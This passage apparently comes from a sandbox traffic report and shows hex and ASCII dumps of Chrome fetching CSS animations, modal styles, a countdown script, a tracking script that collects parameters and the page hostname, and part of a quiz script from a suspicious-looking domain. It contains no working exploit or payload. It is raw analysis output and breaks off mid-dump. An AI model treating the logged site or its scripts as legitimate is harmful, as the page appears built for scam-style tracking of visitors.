2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 78 2c 30 29 20 73 63 61 6c 65 59 28 31 2e 31 29 7d 37 30 25 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 37 35 35 2c 2e 30 35 2c 2e 38 35 35 2c 2e 30 36 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 37 35 35 2c 2e 30 35 2c 2e 38 35 35 2c 2e 30 36 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 35 70 78 2c 30 29 20 73 63 61 6c 65 59 28 31 2e 30 35 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 35 70 78 2c 30 29 20 73 63 61 6c 65 59 28 31 2e 30 35 29 7d 38 30 25 7b 2d 77 65 62 6b 69 Data Ascii: x,0) scaleY(1.1)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0) scaleY(1.05);transform:translate3d(0,-15px,0) scaleY(1.05)}80%{-webki
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 72 75 62 62 65 72 42 61 6e 64 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 31 29 7d 33 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 32 35 2c 2e 37 35 2c 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 32 35 2c 2e 37 35 2c 31 29 7d 34 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 2e 37 35 2c Data Ascii: n-timing-function:ease-in-out;animation-timing-function:ease-in-out}@-webkit-keyframes rubberBand{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 70 78 2c 30 2c 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 68 61 6b 65 58 7b 30 25 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 7d 31 30 25 2c 33 30 25 2c 35 30 25 2c 37 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 70 78 2c 30 2c 30 29 7d 32 30 25 2c 34 30 25 2c 36 30 25 2c 38 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 70 78 2c 30 Data Ascii: sform:translate3d(10px,0,0)}}@keyframes shakeX{0%,to{-webkit-transform:translateZ(0);transform:translateZ(0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 73 6c 61 74 65 58 28 32 70 78 29 20 72 6f 74 61 74 65 59 28 33 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 70 78 29 20 72 6f 74 61 74 65 59 28 33 64 65 67 29 7d 35 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 68 65 61 64 53 68 61 6b 65 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d 36 2e 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 36 70 78 29 20 72 6f 74 61 74 65 59 28 Data Ascii: slateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 35 64 65 67 29 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 7d 2e 61 6e 69 6d 61 74 65 5f 5f 73 77 69 6e 67 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 20 63 65 6e 74 65 72 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 20 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 73 77 69 6e 67 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 73 77 69 6e 67 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 74 61 64 61 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 Data Ascii: transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}.animate__swing{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{0%{-webkit-transfor
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 32 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 28 33 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 32 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 28 33 64 65 67 29 7d 34 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 35 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 28 2d 33 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 35 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 28 2d 33 64 65 67 29 7d 36 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 28 32 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: nsform:translate3d(20%,0,0) rotate(3deg);transform:translate3d(20%,0,0) rotate(3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate(-3deg);transform:translate3d(-15%,0,0) rotate(-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate(2deg);transform:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49725	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:11 UTC	671	OUT	GET /master/terms/css/_modal.css HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:12 UTC	803	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:12 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:25:26 GMT last-modified: Tue, 06 Aug 2024 13:51:59 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 3166 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LEpdd8rMCIqeQgthF4jB0s%2FJgaN1LCL2DkdcB%2BaAZSF81N9RIfWISgXml65%2BFLqV1w1UzgcplXr4fhNL6MB0%2BDCkvWzFvln7KMSQ915zcb9ui81myP5Gfz%2FbJRsYtKWYBV3Yy17uiw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f297c0141f3-EWR
2024-10-03 16:18:12 UTC	566	IN	Data Raw: 33 35 38 0d 0a 2f 2a 20 42 61 73 69 63 20 73 74 79 6c 65 73 20 66 6f 72 20 74 68 65 20 6d 6f 64 61 6c 20 2a 2f 0a 20 20 20 20 20 20 20 20 23 74 65 72 6d 73 4d 6f 64 61 6c 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 61 Data Ascii: 358/* Basic styles for the modal */ #termsModal { display: none; position: fixed; z-index: 1; left: 0; top: 0; width: 100%; height: 100%; overflow: a
2024-10-03 16:18:12 UTC	297	IN	Data Raw: 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6c 6f 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 61 61 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6c 6f 73 65 3a 68 6f 76 65 72 2c 0a 20 20 20 20 20 20 20 20 2e 63 6c 6f 73 65 3a 66 6f 63 75 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 Data Ascii: %; } .close { color: #aaa; float: right; font-size: 28px; font-weight: bold; } .close:hover, .close:focus { color: black; text-decoration: none
2024-10-03 16:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49727	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:11 UTC	654	OUT	GET /master/us217/datehead.js HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:12 UTC	813	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 3071 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MKw2AfevBl8LsSJ6loLCag786CkVuos2ZnjUDMv%2B3hFVNT8S4PS5POBtbz8KhLLGJfFH3oDg0cR1RGAMp7GsVYe3y0PENzhZ6MI2Srm0ZKBJ8T4%2BLhENPW%2BBcbpWDKE4HDC2cFOqqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f298837430e-EWR
2024-10-03 16:18:12 UTC	556	IN	Data Raw: 39 39 39 0d 0a 66 75 6e 63 74 69 6f 6e 20 64 61 74 65 68 61 78 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 79 64 61 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 0d 0a 20 20 20 20 6d 79 64 61 74 65 2e 73 65 74 44 61 74 65 28 6d 79 64 61 74 65 2e 67 65 74 44 61 74 65 28 29 29 3b 0d 0a 20 20 20 20 76 61 72 20 79 65 61 72 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 59 65 61 72 28 29 0d 0a 20 20 20 20 69 66 20 28 79 65 61 72 20 3c 20 31 30 30 30 29 0d 0a 20 20 20 20 20 20 20 20 79 65 61 72 20 2b 3d 20 31 39 30 30 0d 0a 20 20 20 20 76 61 72 20 64 61 79 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 44 61 79 28 29 0d 0a 20 20 20 20 76 61 72 20 6d 6f 6e 74 68 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 4d 6f 6e 74 68 28 29 0d 0a 20 20 20 20 76 61 72 20 64 61 79 6d 20 3d 20 6d 79 Data Ascii: 999function datehax() { var mydate = new Date() mydate.setDate(mydate.getDate()); var year = mydate.getYear() if (year < 1000) year += 1900 var day = mydate.getDay() var month = mydate.getMonth() var daym = my
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 76 65 6d 62 65 72 22 2c 20 22 44 65 63 65 6d 62 65 72 22 29 3b 0d 0a 20 20 20 20 0d 0a 20 20 20 20 2f 2f 76 61 72 20 64 61 79 61 72 72 61 79 20 3d 20 41 72 72 61 79 28 22 64 69 6d 61 6e 63 68 65 22 2c 20 22 6c 75 6e 64 69 22 2c 20 22 6d 61 72 64 69 22 2c 20 22 6d 65 72 63 72 65 64 69 22 2c 20 22 6a 65 75 64 69 22 2c 20 22 76 65 6e 64 72 65 64 69 22 2c 20 22 73 61 6d 65 64 69 22 29 3b 0d 0a 20 20 20 20 2f 2f 76 61 72 20 6d 6f 6e 74 68 61 72 72 61 79 20 3d 20 6e 65 77 20 41 72 72 61 79 28 22 6a 61 6e 76 69 65 72 22 2c 22 66 c3 a9 76 72 69 65 72 22 2c 22 6d 61 72 73 22 2c 22 61 76 72 69 6c 22 2c 22 6d 61 69 22 2c 22 6a 75 69 6e 22 2c 22 6a 75 69 6c 6c 65 74 22 2c 22 61 6f 75 74 22 2c 22 73 65 70 74 65 6d 62 72 65 22 2c 22 6f 63 74 6f 62 72 65 22 2c 22 6e 6f Data Ascii: vember", "December"); //var dayarray = Array("dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi"); //var montharray = new Array("janvier","fvrier","mars","avril","mai","juin","juillet","aout","septembre","octobre","no
2024-10-03 16:18:12 UTC	539	IN	Data Raw: 20 20 20 73 65 63 6f 6e 64 73 20 3d 20 70 61 72 73 65 49 6e 74 28 74 69 6d 65 72 20 25 20 36 30 2c 20 31 30 29 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 6d 69 6e 75 74 65 73 20 3d 20 6d 69 6e 75 74 65 73 20 3c 20 31 30 20 3f 20 22 22 20 2b 20 6d 69 6e 75 74 65 73 20 3a 20 6d 69 6e 75 74 65 73 3b 0d 0a 20 20 20 20 20 20 20 20 73 65 63 6f 6e 64 73 20 3d 20 73 65 63 6f 6e 64 73 20 3c 20 31 30 20 3f 20 22 30 22 20 2b 20 73 65 63 6f 6e 64 73 20 3a 20 73 65 63 6f 6e 64 73 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 63 6f 6e 2d 74 69 6d 65 2d 62 6c 6f 63 6b 27 3e 22 20 2b 20 6d 69 6e 75 74 65 73 20 2b 20 22 3c 2f 73 70 61 6e 3e 3a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 Data Ascii: seconds = parseInt(timer % 60, 10); minutes = minutes < 10 ? "" + minutes : minutes; seconds = seconds < 10 ? "0" + seconds : seconds; display.innerHTML = "<span class='con-time-block'>" + minutes + "</span>:<span class='
2024-10-03 16:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49730	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:11 UTC	673	OUT	GET /inc/msg.js?a58c8a565bfd2d3dfa996defbc12dda9 HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:12 UTC	805	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 16:18:12 GMT last-modified: Fri, 21 Jun 2024 16:01:34 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uTSoOaspd7WXRUmqpcUm9lzZzAR4rtxqTF%2FEH9sLZ0faNv%2Fey9zcOnDwrctsQKsogb0GOYVbSbrn9jr6nMruKpfp%2BQl6oT7Z2Igl1bQvwhbaEqT%2FzPtZanYr0OvH81vvNxaG2oi3eA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f29895e4397-EWR
2024-10-03 16:18:12 UTC	564	IN	Data Raw: 33 61 66 0d 0a 76 61 72 20 4d 59 43 41 4c 4c 20 3d 20 4d 59 43 41 4c 4c 20 7c 7c 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 76 61 72 20 70 73 68 70 61 72 61 6d 73 20 3d 20 7b 7d 3b 20 2f 2f 20 70 72 69 76 61 74 65 0a 20 20 20 20 72 65 74 75 72 6e 20 7b 0a 20 20 20 20 20 20 20 20 69 6e 69 74 20 3a 20 66 75 6e 63 74 69 6f 6e 28 41 72 67 73 29 20 7b 0a 20 20 20 20 09 20 20 20 20 2f 2f 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 41 72 67 73 5b 32 5d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 73 68 70 61 72 61 6d 73 20 3d 20 41 72 67 73 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 73 68 70 75 62 20 3d 20 41 72 67 73 5b 31 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 73 68 64 6f 6d 61 69 6e 20 3d 20 41 72 67 73 5b 32 5d 3b 0a 20 20 20 20 20 Data Ascii: 3afvar MYCALL = MYCALL \|\| (function(){ var pshparams = {}; // private return { init : function(Args) { //console.log(Args[2]); pshparams = Args[0]; pshpub = Args[1]; pshdomain = Args[2];
2024-10-03 16:18:12 UTC	386	IN	Data Raw: 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 74 6d 4f 62 6a 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 75 74 6d 5f 73 6f 75 72 63 65 22 3a 20 70 73 68 70 75 62 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 6f 75 72 63 65 5f 74 77 6f 22 3a 20 70 73 68 70 61 72 61 6d 73 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 6f 75 72 63 65 5f 6f 6e 65 22 3a 20 62 74 6f 61 28 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 55 74 6d 28 75 74 6d 4f 62 6a 29 3b 0a 2f 2f 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 65 72 74 28 27 73 65 6e 64 69 6e 67 3a 20 27 2b 70 73 68 70 61 72 61 6d 73 29 3b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: t(); var utmObj = { "utm_source": pshpub, "source_two": pshparams, "source_one": btoa(location.hostname) } setUtm(utmObj);// alert('sending: '+pshparams);
2024-10-03 16:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49728	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:11 UTC	652	OUT	GET /master/us217/script.js HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:12 UTC	821	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:32 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 3071 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=074x%2FZ%2FLcmUL%2BK3omMi76hVaFQvxbXPI4FS2YgcCoBF2hRKZnkYZRKr0FN2igGPEfdCMIdbKHXcrtPQguii7jDrdtIf8%2FLZwjDp6h%2BbUqGu5t%2BUH1lrRUldmg9rBomG7zUvdE%2BBXzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f298ed31a0f-EWR
2024-10-03 16:18:12 UTC	548	IN	Data Raw: 32 37 66 33 0d 0a 76 61 72 20 61 6e 73 77 65 72 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 22 29 3b 0d 0a 76 61 72 20 6c 61 73 74 51 6e 75 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 23 6e 6e 6c 73 74 6d 20 2e 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 22 29 2e 6c 65 6e 67 74 68 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 4e 65 78 74 28 65 6c 65 29 20 7b 0d 0a 20 20 20 20 69 66 28 65 6c 65 2e 76 61 6c 75 65 3d 3d 22 31 22 29 7b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 62 64 79 61 6c 6e 31 22 29 5b 30 5d 2e 63 6c 61 73 Data Ascii: 27f3var answers = document.querySelectorAll(".clsnqaaa-select");var lastQnum = document.querySelectorAll("#nnlstm .clsnqaaa-select").length;function toNext(ele) { if(ele.value=="1"){ document.getElementsByClassName("bdyaln1")[0].clas
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 65 6e 74 45 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 3b 0d 0a 20 20 20 20 76 61 72 20 6e 65 78 74 20 3d 20 61 6e 63 65 73 74 6f 72 2e 6e 65 78 74 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 0d 0a 20 20 20 20 61 6e 63 65 73 74 6f 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 61 6e 63 65 73 74 6f 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 4f 75 74 22 29 3b 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 61 6e 63 65 73 74 6f 72 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 